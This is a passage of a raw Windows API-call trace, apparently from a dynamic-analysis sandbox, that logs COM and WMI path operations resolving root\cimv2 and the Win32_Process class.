ppvObject=0x1bb7d8a8*=0x1bc3ef00) returned 0x0 [0157.910] WbemDefPath:IUnknown:Release (This=0x1a9d1aa0) returned 0x0 [0157.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ef00) returned 0x0 [0157.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.911] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0157.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9d14e0) returned 0x0 [0157.911] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d14e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.911] WbemDefPath:IUnknown:Release (This=0x1a9d14e0) returned 0x3 [0157.911] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.911] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.911] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0157.911] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x1 [0157.911] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.911] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ef00, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ef00) returned 0x0 [0157.911] WbemDefPath:IUnknown:AddRef (This=0x1bc3ef00) returned 0x3 [0157.911] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x2 [0157.911] WbemDefPath:IWbemPath:SetText (This=0x1bc3ef00, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0157.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0157.911] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0157.911] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0157.911] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3efc0) returned 0x0 [0157.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0157.912] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3efc0, uIndex=0x0, pszName="ROOT") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ef00, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0157.912] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3efc0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3efc0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0157.912] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3efc0, Name="Win32_Process") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3efc0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3efc0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0157.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0157.912] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0157.912] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0157.912] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0157.912] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.914] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1a9d13a0) returned 0x0 [0157.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d13a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0157.914] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d13a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3ed80) returned 0x0 [0157.914] WbemDefPath:IUnknown:Release (This=0x1a9d13a0) returned 0x0 [0157.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3ed80) returned 0x0 [0157.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0157.915] WbemDefPath:IUnknown:AddRef (This=0x1bc3ed80) returned 0x3 [0157.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0157.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0157.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1a9d1420) returned 0x0 [0157.915] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d1420, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.915] WbemDefPath:IUnknown:Release (This=0x1a9d1420) returned 0x3 [0157.915] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0157.915] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0157.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0157.915] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x2 [0157.915] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x1 [0157.915] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0157.915] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0157.915] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3ed80) returned 0x0 [0157.915] WbemDefPath:IUnknown:AddRef (This=0x1bc3ed80) returned 0x3 [0157.915] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x2 [0157.915] WbemDefPath:IWbemPath:SetText (This=0x1bc3ed80, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0157.915] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.915] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0157.915] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.915] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.915] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.916] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.916] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.917] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9d19a0) returned 0x0 [0157.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.917] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d19a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ecc0) returned 0x0 [0157.917] WbemDefPath:IUnknown:Release (This=0x1a9d19a0) returned 0x0 [0157.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ecc0) returned 0x0 [0157.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.918] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0157.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9d16e0) returned 0x0 [0157.918] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d16e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.918] WbemDefPath:IUnknown:Release (This=0x1a9d16e0) returned 0x3 [0157.918] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.918] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.918] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0157.918] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x1 [0157.918] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.918] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ecc0) returned 0x0 [0157.918] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0157.918] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0157.918] WbemDefPath:IWbemPath:SetText (This=0x1bc3ecc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0157.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ed80, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0157.918] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0157.918] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0157.918] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3ed80) returned 0x0 [0157.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ecc0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ecc0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0157.919] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ed80, uIndex=0x0, pszName="root") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ecc0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ecc0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0157.919] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ed80, uIndex=0x1, pszName="cimv2") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ecc0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ecc0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ed80, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ed80, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ed80, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 